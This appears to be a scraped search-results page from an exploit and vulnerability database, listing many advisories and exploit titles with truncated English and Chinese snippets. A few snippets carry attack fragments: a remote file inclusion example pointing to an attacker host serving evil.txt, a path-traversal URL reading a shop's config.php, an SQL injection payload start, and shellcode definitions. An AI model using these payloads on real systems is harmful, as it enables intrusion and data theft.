56796 matches found
PHP Webquest <= 2.5 (id_actividad) Remote SQL Injection Exploit
No description provided by source. / script name : phpwebquest script version : 2.5 script website : http://phpwebquest.org Bug Finder : D4realTeaM 'unkn0wnX','n3t-mapper','ToxiC350'; injected file : webquest/soportederechaw.php Variable : idactividad Contact : n3t-mapp3r At hotmail dot com,is14m...
Fake Identd 0.9/1.x Client Query Remote Buffer Overflow Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/5351/info Fake Identd is an open source Ident server designed to return the same information to all incoming requests. It is implemented by Tomi Ollila, and available for Linux and a number of other Unix based operating...
DirectShow Arbitrary Memory Overwrite Vulnerability (MS13-056)
No description provided by source. Introduction: The Microsoft DirectShow application programming interface API is a media-streaming architecture for Microsoft Windows. Using DirectShow, your applications can perform high-quality video and audio playback or capture. Overview: DirectShow in...
GL-SH Deaf Forum 6.5.5 Cross-Site Scripting Vulnerability and Arbitrary File Upload Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/29849/info GL-SH Deaf Forum is prone to a cross-site scripting vulnerability and an arbitrary-file-upload vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage the cross-site...
vBulletin ImpEx <= 1.74 Remote Command Execution Exploit
No description provided by source. ?php / vbulletin ImpEx Remote File Inclusion Exploit c0ded by ReZEN Sh0uts: xorcrew.net, ajax, gml, subterrain, My gf url: http://www.xorcrew.net/ReZEN example: turl: http://www.target.com/impex/ImpExData.php?systempath= hurl:http://www.pwn3d.com/evil.txt? / $cm...
QNAP Turbo NAS 3.6.1 Build 0302T Multiple Vulnerabilities
No description provided by source. Sense of Security - Security Advisory - SOS-12-006 Release Date. 13-Jun-2012 Last Update. - Vendor Notification Date. 12-Mar-2012 Product. QNAP Platform. Turbo NAS verified and possibly others Affected versions. Firmware Version: 3.6.1 Build 0302T and prior...
PHP-Fusion Mod triscoop_race_system (raceid) SQL Injection Vuln
No description provided by source. PHP-Fusion Mod triscoopracesystem raceid Remote SQL Injection Vulnerability ++++++++++++++++++++++++++++ Author : boom3rang webpage : www.khg-crew.ws greetz : H!tm@N, KHG, chs, redc00de, pr0xy-ki11er - -=Kosova Hackers Group-= ++++++++++++++++++++++++++++ + Dork...
Guru Penny Auction Pro 3.0 - Blind SQL Injection Vulnerability
No description provided by source. / / / \ \ \ \ \ / / \\ \ \ \ \ // /// \ \ / / \ //|\ / \ \ \ \ \ \ / / \ \ / / \ | | | \ | | || | | |/ / \ V / || |\ V / / \ | / \ | /| | | || / | | | | . | ' || / | || // \ // \|||/|||||||||\ .WEB.ID...
Oracle Sun GlassFish Enterprise Server - Stored XSS Vulnerability
No description provided by source. Sense of Security - Security Advisory - SOS-11-009 Release Date. 19-Jul-2011 Last Update. - Vendor Notification Date. 23-Mar-2011 Product. Oracle Sun GlassFish Enterprise Server Platform. Java EE Affected versions. 2.1.1 v2.1 Patch069.102 Patch12 build b31g-fcs...
PHPnuke 8.2 - Remote Upload File Exploit
Title : PHPnuke 8.2 Remote Upload File Exploit Author : Net.Edit0r Location : Iran Dork : "POWERED BY PHPNUKE.IR" Category : Remote Email : [email protected] [email protected] Special Thanks To :NetQurd For help in finding bugs Email :[email protected] InformatioN 1.Save code html format ...
jira 4.4.3, greenhopper < 5.9.8 - Multiple Vulnerabilities
No description provided by source. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 CVE-2012-1500, Stored XSS in JIRA v4.4.3663-r165197, GreenHopper Resolved in Version 5.9.8, Proof of Concept External References: CVE-2112-1500 CVE-2112-1500 XSS.Cx Blog GHS-5642 Reported to Vendor on Mar 7, 2012,...
Joomla! <= 3.0.2 (highlight.php) PHP Object Injection Vulnerability
No description provided by source. ------------------------------------------------------------------- Joomla! = 3.0.2 highlight.php PHP Object Injection Vulnerability ------------------------------------------------------------------- - Software Link: http://www.joomla.org/ - Affected Versions:...
Net-SNMP <= 5.1.4/5.2.4/5.4.1 Perl Module Buffer Overflow PoC
No description provided by source. !usr/bin/perl -w Buffer overflow in the snprintvalue function in snmpget in Net-SNMP 5.1.4, 5.2.4, and 5.4.1, as used in SNMP.xs for Perl, allows remote attackers to cause a denial of service crash and possibly execute arbitrary code via a large OCTETSTRING in a...
FreePBX <= 2.8.0 Recordings Interface Allows Remote Code Execution
No description provided by source. Trustwave's SpiderLabs Security Advisory TWSL2010-005: FreePBX recordings interface allows remote code execution https://www.trustwave.com/spiderlabs/advisories/TWSL2010-005.txt Published: 2010-09-23 Version: 1.0 Vendor: FreePBX http://www.freepbx.org/ Product:...
Squid < 3.1 5 - HTTP Version Number Parsing Denial of Service Exploit
No description provided by source. !usr/bin/perl -w Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-0478 http://www.securityfocus.com/bid/33604/discuss $$$$$This was strictly written for educational purpose. Use it at your own risk.$$$$$ $$$$$Author will not bare any...
Sun Java Runtime and Development Kit <= 6 Update 10 - Calendar Deserialization Exploit
No description provided by source. This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core'...
OpenSSL < 0.9.8i DTLS ChangeCipherSpec Remote DoS Exploit
No description provided by source. / cve-2009-1386.c OpenSSL 0.9.8i DTLS ChangeCipherSpec Remote DoS Jon Oberheide [email protected] http://jon.oberheide.org Information: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1386 OpenSSL would SegFault if the DTLS server receives a...
Pandora FMS <= 3.1 - Blind SQL Injection
No description provided by source. + Introduction Pandora FMS for Pandora Flexible Monitoring System is a software solution for monitoring computer networks. It allows monitoring in a visual way the status and performance of several parameters from different operating systems, servers, applicatio...
Manhali 1.8 - Local File Inclusion Vulnerability
No description provided by source. Exploit Title: Manhali v1.8 Local File Inclusion Vulnerability Date: 20/09/2012 Author: L0n3ly-H34rT Contact: [email protected] My Site: http://se3c.blogspot.com/ Vendor Link: http://www.manhali.com/ Software Link:...
IBM Cognos Express本地信息泄漏漏洞
Bugtraq ID:66362 CVE ID:CVE-2013-5444 IBM Cognos Express是一款为满足中型企业的需求而构建的商业智能和计划集成解决方案。 IBM Cognos Express使用静态密钥进行加密，可帮助攻击者对不能访问的敏感信息进行解密。 0 IBM Cognos Express 10.2.1 IBM Cognos Express 10.1 IBM Cognos Express 9.5 IBM Cognos Express 9.0 用户可参考如下厂商提供的安全公告获取补丁以修复该漏洞：...
FreeType 'src/cff/cf2ft.c'远程拒绝服务漏洞
BUGTRAQ ID: 66292 CVE ID:CVE-2014-2241 FreeType是一个流行的字体函数库。 FreeType 'src/cff/cf2ft.c'中的cf2initLocalRegionBuffer, cf2initGlobalRegionBuffer函数存在一个断言失败错误，允许攻击者利用漏洞构建恶意字体，诱使应用解析，可使应用程序崩溃。 0 FreeType 2.5.3 厂商补丁： FreeType ----- 用户可参考厂商的GIT库以获得补丁修复此漏洞：...
Microsoft Internet Explorer远程权限提升漏洞(CVE-2014-0268)(MS14-010)
BUGTRAQ ID: 65392 CVECAN ID: CVE-2014-0268 Internet Explorer是微软公司推出的一款网页浏览器。 Internet Explorer在验证本地文件安装时及安全创建注册表项时，存在权限提升漏洞。 0 Microsoft Internet Explorer 6-11 临时解决方法： 设置互联网和内联网安全区域设置为“高” 配置IE在运行活动脚本之前提示或直接禁用。 厂商补丁： Microsoft --------- Microsoft已经为此发布了一个安全公告（MS14-010）以及相应补丁: MS14-010：Cumulative...
SQL Server 弱口令 PoC
SQL Server在配置过程中往往被设置成弱密码，导致被黑客猜解到，造成若密码漏洞。 SQL Server...
IceWarp 10.4.5 /rpc/gw.html 任意文件读取漏洞
No description provided by source...
Django is_safe_url() 跨站脚本 和 URLField 脚本插入漏洞
CVECAN ID: CVE-2013-4249 Django是Python编程语言驱动的一个开源Web应用程序框架。 Django 1.4、1.5没有正确过滤django.contrib.admin的URLField字段、django.utils.http.issafeurl函数utils/http.py 的URL重定向相关输入没有被正确过滤，可被利用插入任意HTML和脚本代码，导致这些恶意代码被查看时，会在受影响站点上下文的浏览器会话中执行。 0 Django 1.4.x 厂商补丁： Django ------ 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...
Apache OpenOffice 文档内存破坏漏洞(CVE-2013-2189)
BUGTRAQ ID: 61465 CVECAN ID: CVE-2013-2189 Apache OpenOffice是开源办公软件套装。 OpenOffice 3.4.0、3.4.1处理畸形DOC文件内的PLCF数据会造成内存破坏，导致拒绝服务。 0 OpenOffice 3.4.0 - 3.4.1 厂商补丁： OpenOffice ---------- OpenOffice已经为此发布了一个安全公告（CVE-2013-2189）以及相应补丁: CVE-2013-2189：CVE-2013-2189...
shopEx 4.8.5 /api_b2b_2_0_payment_cfg.php SQL 注入
缺陷文件： \core\api\payment\2.0\apib2b20paymentcfg.php core\api\payment\1.0\apib2b20paymentcfg.php 第44行 $data'columns' 未做过滤导致注入 code?php settimelimit0; obflush; echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns= from sdbpaymentcfg WHERE 1 and select 1 fromselect count,concatselect select SELE...
Apache XML Security签名伪造漏洞
CVE ID:CVE-2013-2172 Apache XML Security是一个XML安全标准下的数字签名实现 XML签名包含一个"CanonicalizationMethod"参数用于指定应用于签名的SignedInfo部分所需的规范化算法canonicalization algorithm。而实际是XML签名的Apache Santuario XML Security for Java实现允许把任意算法指定给此参数，可被利用对XML签名进行伪造攻击 0 Apache XML Security Java 1.5.x Apache XML Security Java 1.4.x...
Apache Struts2 includeParams属性远程命令执行漏洞(CVE-2013-1966)
No description provided by source. 打开Struts Blank App中的 HelloWorld.jsp增加类似下列代码： s:url id="url" action="HelloWorld" includeParams="all" 运行 struts2-blank app 访问下列地址:...
phpwind下flash xss 0day
简要描述： 最近好多大牛在提交flash相关的漏洞，我也来凑个热闹。 PHPWIND最新的版本使用的一处flash文件存在xss漏洞，pz牛和瘦子牛科普这么多，我就直接上报漏洞吧。 详细说明： 1、文件位置 http://www.phpwind.net/res/images/uploader.swf 2、通过对swf文件反编译得到as代码，查找“ExternalInterface.call”关键函数，在代码中多出使用了这个函数，比如： ExternalInterface.callthis.jsobject + ".initflash"; ，...
phpMyAdmin 'server_sync.php'远程后门漏洞
BUGTRAQ ID: 55672 CVE ID: CVE-2012-5159 phpMyAdmin是一个用PHP编写的，可以通过web方式控制和操作MySQL数据库。 phpMyAdmin通过"cdnetworks-kr-1" SourceForge mirror系统分发的phpMyAdmin 3.5.2.2及其他版本源文件为phpMyAdmin-3.5.2.2-all-languages.zip，其中包含名为serversync.php的木马，可允许远程攻击者通过调用eval攻击执行任意命令。 0 phpMyAdmin 3.5.2.2 厂商补丁： phpMyAdmin...
DirectAdmin 1.403 跨站脚本漏洞
Bugtraq ID: 53281 CVE ID: CVE-2012-3842 DirectAdmin是一款功能强大的虚拟主机在线管理系统。 DirectAdmin脚本存在跨站脚本漏洞，允许攻击者通过select0或select8参数注入任意WEB脚本或HTML，远程攻击者可以利用漏洞获得敏感信息或劫持用户会话。 0 DirectAdmin 1.403 厂商解决方案 目前没有详细解决方案提供： http://directadmin.com/...
Microsoft Windows本地键盘布局处理权限提升漏洞(CVE-2012-0181)(MS12-034)
BUGTRAQ ID: 53326 CVE ID: CVE-2012-0181 Microsoft Windows是流行的计算机操作系统。 Windows内核模式驱动程序管理键盘布局文件的方式中存在一个特权提升漏洞。成功利用此漏洞的攻击者可以运行内核模式中的任意代码。攻击者随后可安装程序；查看、更改或删除数据；或者创建拥有完全管理权限的新帐户。 0 Microsoft Windows Windows XP Service Pack 3 0 Microsoft Windows Windows XP Professional x64 Ed Microsoft Windows Windows ...
wdcp管理系统的漏洞，非常严重的，
简要描述： wdcp管理系统非常好用。只要知道你的后台端口就能那小你的服务器 详细说明： wdcp管理系统非常好用。只要知道你的后台端口就能拿下你的服务器 通过修改Cookie来越过认证 漏洞证明：...
Adobe Flash Player ActionScript Launch Command Execution
No description provided by source. This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit web site for more information on licensing and terms of use. http://metasploit.com/ require 'msf/core' class Metasploit3...
Microsoft Internet Explorer JScript9 远程代码执行漏洞(CVE-2012-0169)(MS12-023)
BUGTRAQ ID: 52902 CVE ID: CVE-2012-0169 Microsoft Internet Explorer是微软公司推出的一款网页浏览器。 Microsoft Internet Explorer在访问已经删除的对象时在实现上存在可以破坏内存的远程代码执行漏洞，攻击者可利用此漏洞以当前用户权限执行任意代码。 0 Microsoft Internet Explorer 9.x Microsoft Internet Explorer 8.x Microsoft Internet Explorer 7.x Microsoft Internet Explorer 6.x...
Linux Kernel Clone()函数 CLONE_IO多个拒绝服务漏洞
BUGTRAQ ID: 52152 CVE ID: CVE-2012-0879 Linux Kernel是Linux操作系统的内核。 Linux Kernel的实现上存在可影响clone系统调用的多个拒绝服务安全漏洞，可使本地用户造成拒绝服务 0 Linux kernel 2.6.x 厂商补丁： Linux ----- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://www.kernel.org/...
IBM Lotus Domino Server Controller Authentication Bypass Vulnerability
No description provided by source. Exploit Title: IBM Lotus Domino Controller auth. bypass Date:30/11/2011 Author: Alexey Sintsov Software Link: http://www.ibm.com/ Version:8.5.3/8.5.2 FP3 0day Tested on: Windows 7 / Windows 2008 CVE : CVE-2011-1519 Application: IBM Lotus Domino Controller Versio...
Linux kernel 2.6.x CIFS本地安全限制绕过漏洞
BUGTRAQ ID: 47381 CVE ID: CVE-2011-1585 Linux是自由电脑操作系统内核。 CIFS在Linux Kernel的实现上存在本地安全漏洞，本地攻击者可利用此漏洞绕过安全限制，执行非法操作 Linux kernel 2.6.x 厂商补丁： Linux ----- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://www.kernel.org/...
X.Org X11本地权限提升和内存泄露漏洞
BUGTRAQ ID: 50002 CVE ID: CVE-2011-4818,CVE-2011-4819 X.Org是X.Org Foundation对X窗口系统的开源实现。 X.Org X11在实现上存在本地权限提升和内存泄露漏洞，远程攻击者可利用这些漏洞以提升的权限执行任意代码，使受影响计算机崩溃或获取敏感信息。 多个GLX X呼叫缺少正确的输入过滤。可访问GLX呼叫的攻击者使X服务器崩溃或在其中执行任意代码 RedHat Enterprise Linux X.org X11R6 6.x X.org X11R6 5.1 X.org X11R6 4.0 X.org X11R7 7.x...
Microsoft Windows 'AFD.sys'驱动本地特权提升漏洞
Bugtraq ID: 48198 CVE ID：CVE-2011-1249 Microsoft Windows是一款流行的操作系统。 处理用户空间数据传递到内核时AFD驱动存在输入验证错误，构建特制的应用程序，可在内核上下文执行任意代码。 根据Microsoft报告，此漏洞已经在网络上积极利用 Microsoft Windows XP Service Pack 3 0 Microsoft Windows XP Professional x64 Edition SP2 Microsoft Windows XP Professional x64 Edition Microsoft...
PHP <= 5.3.5 socket_connect() Buffer Overflow Vulnerability
No description provided by source. ?php // Credit: Mateusz Kocielski, Marek Kroemeke and Filip Palian // Affected Versions: 5.3.3-5.3.6 echo "+ CVE-2011-1938"; echo "+ there we go...\n"; define'EVILSPACEADDR', "\xff\xff\xee\xb3"; define'EVILSPACESIZE', 102410248; $SHELLCODE =...
Linux内核'IP GRE'模块空指针引用远程拒绝服务漏洞
Bugtraq ID: 47852 CVE ID：CVE-2011-1767 Linux是一款开放源代码的操作系统。 net/ipv4/ipgre.c中IP GRE模块初始化函数包含如下代码： 01 / 02 And now the modules code and kernel interface. 03 / 04 05 static int init ipgreinitvoid 06 07 int err; 08 09 printkKERNINFO "GRE over IPv4 tunneling driver\n"; 10 11 if...
PHP "Zip"扩展"zip_fread()"函数拒绝服务漏洞
BUGTRAQ ID: 46975 CVE ID: CVE-2011-1471 PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。 PHP "Zip"扩展"zipfread"函数在实现上存在拒绝服务漏洞，远程攻击者可利用此漏洞造成应用程序崩溃，拒绝服务和任意代码执行。 MandrakeSoft Corporate Server 4.0 x8664 MandrakeSoft Corporate Server 4.0 PHP PHP 5.x 厂商补丁： PHP --- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...
Linux Kernel < 2.6.36-rc6 pktcdvd Kernel Memory Disclosure
No description provided by source. / cve-2010-3437.c Linux Kernel 2.6.36-rc6 pktcdvd Kernel Memory Disclosure Jon Oberheide [email protected] http://jon.oberheide.org Information: https://bugzilla.redhat.com/showbug.cgi?id=638085 The PKTCTRLCMDSTATUS device ioctl retrieves a pointer to a...
ShopEx的漏洞.
简要描述： 你懂的 详细说明： 看漏洞证明 漏洞证明： url/shopadmin/index.php?ctl=sfile&act=getDB&p0=../../config/config.php 你懂的...
Linux kernel 2.6.x keyctl_session_to_parent()函数空指针引用漏洞
BUGTRAQ ID: 42932 CVE ID: CVE-2010-2960 Linux Kernel是开放源码操作系统Linux所使用的内核。 Linux Kernel的security/keys/keyctl.c文件中的keyctlsessiontoparent函数存在空指针应用错误，本地用户可以以KEYCTLSESSIONTOPARENT调用keyctl来触发这个漏洞，导致拒绝服务的情况。 Linux kernel 2.6.x 厂商补丁： Linux ----- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：...
Ubuntu PAM MOTD File Tampering (Privilege Escalation)
No description provided by source. !/bin/sh Exploit Title: Ubuntu PAM MOTD file tampering privilege escalation Date: July 7, 2010 Author: Kristian Erik Hermansen [email protected] Software Link: http://packages.ubuntu.com/ Version: pam-1.1.0 Tested on: Ubuntu 10.04 LTS Lucid Lynx CVE :...
Joomla Component com_eportfolio Upload Vulnerability
No description provided by source. Name : Joomla comeportfolio Upload Vulnerability Date : june, 20 2010 Critical Level : HIGH Vendor Url : http://www.joomplace.com/e-portfolio/e-portfolio-description.html Google Dork:inurl:comeportfolio Author : Sid3^effects aKa HaRi shellc99atyahoo.com special...
PHP http_build_query()函数中断处理地址信息泄露漏洞
CVE ID: CVE-2010-2100 PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。 PHP的httpbuildquery函数中存在信息泄露漏洞： PHPFUNCTIONhttpbuildquery zval formdata; char prefix = NULL, argsep=NULL; int argseplen = 0, prefixlen = 0; smartstr formstr = 0; if zendparseparametersZENDNUMARGS TSRMLSCC, "z|ss", &formdata, &prefix,...